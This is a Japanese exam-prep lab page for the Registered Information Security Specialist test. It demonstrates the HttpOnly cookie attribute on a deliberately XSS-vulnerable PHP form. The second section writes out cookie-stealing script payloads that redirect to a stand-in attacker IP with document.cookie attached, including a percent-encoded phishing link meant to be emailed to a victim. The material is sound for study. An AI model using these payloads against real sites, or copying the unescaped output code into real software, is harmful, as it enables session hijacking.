情報処理安全確保支援士 - SE娘の剣 -

左門至峰による情報処理安全確保支援士試験に合格するためのサイトです。 過去問を多数引用しながら、情報処理安全確保支援士試験に出る基礎知識を整理します

色々試してみる

1.HttpOnly属性のテスト

(1)HttpOnly属性とは

HttpOnly属性は、JavaScript からCookieを操作できないようにする設定です。Cookieを取得するJavaScriptを埋め込まれたXSSなどへの対処です。

(2)Webサーバの環境
#Apacheインストール
yum -y install httpd
#PHPインストール
yum install -y php 
#PHPのインストール確認(バージョンを確認)
php -v
#再起動
systemctl restart httpd
(3)単なる入力フォームと結果を表示するページを作る

過去問をベースに。
❶入力フォーム:description.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

❷結果表示:submitdescription.php

<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<?php
print($_REQUEST['description']); 
?>
です。
</html>
(4)改修していきます。

❶入力フォームでCookieをセット
description.php

<?php
setcookie('sessionid', 12345, time() + 3600); // sessionidに12345をセット。有効期間は3600秒
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

以下のように、Cookieとして、sessionid=12345 HttpOnly属性がFalseであることがわかる。

❷ここで、入力フォーム(備考)に、以下を入れる

<script>alert(document.cookie)</script>

すると、以下のポップアップが出て、Cookieの値が表示されている。

❸HttpOnly属性を有効化
以下をソースに加える。

setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE); 

Cookieの設定に関しては以下が詳しいが、TRUEとしている場所が、HttpOnly属性の設定である。
https://www.webdesignleaves.com/pr/php/php_basic_07.php
結果、description.phpは以下になる。

<?php
setcookie('sessionid', 12345, time() + 3600 , '', '', '', TRUE); 
?>
<html>
<meta http-equiv="content-type" charset="UTF-8">
備考:
<form action="./submitdescription.php" method="post">
    <input type="text" name="description" value=""><br>
    <input type="submit" value="送信" >
</form>
</html>

F12キーを押してみてみると、HttpOnly属性がTrueになっていることがわかる。

ここで、改めて以下を実行

<script>alert(document.cookie)</script>

以下のように、今度はCookieが表示されない。

2.XSSなどを使ってセッションを盗む

(1)ソースコード

先の1と同じ。ただし、HttpOnly属性はFalseのまま。

(2)攻撃の実行

入力フォームに以下を入れてみよう。ただし、http://203.0.113.101/index.htmlの部分は、攻撃者のWebサーバとする。

<script>window.location='http://203.0.113.101/index.html?'+document.cookie;</script>

するとどうなるか。window.locationによって、http://203.0.113.101/index.htmlのページに遷移する。そのとき、引数としてcookieの値を付与する。
これが実行されるのは、ターゲットとなる被害者のPC上。被害者にとっては、変なページに遷移したな、くらいに思うだけ。
しかし、攻撃者のWebサーバのログには、Cookie情報も残っている。つまり、Cookie情報を盗むことができる。サーバ側でログを見張っておき、Cookieのセッションを奪ってログインすることも可能であろう。

(3)どうやって被害者に上記をさせるか

リンクをクリックさせる。
具体的には、以下に記載しているように、URLのリンクを作成する。(脆弱性はあるけど)信頼性の高いページからのリンクであれば、クリックしてしまう可能性はあるだろう。
https://sc.seeeko.com/entry/cross_site_attack
上記にも書いたが、余分なことを消すために、いったん”>で閉じて、後半はコメントアウトしている。

"><script>window.location='http://203.0.113.111/index.html?'+document.cookie;</script><!--

これをパーセントエンコーディングすると以下

%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

ここで、URLの引数に上記を付ける。このリンクをメールなどで送り付け、間違ってクリックさせることができれば、Cookieを盗むことができる。

http://x.x.x.x/submitdescription.php?description=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F203.0.113.111%2Findex.html%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%21--

※ページ遷移はうまくいくのだが、Webサーバにログが残らなかった。何かやり方が悪かったのかもしれない。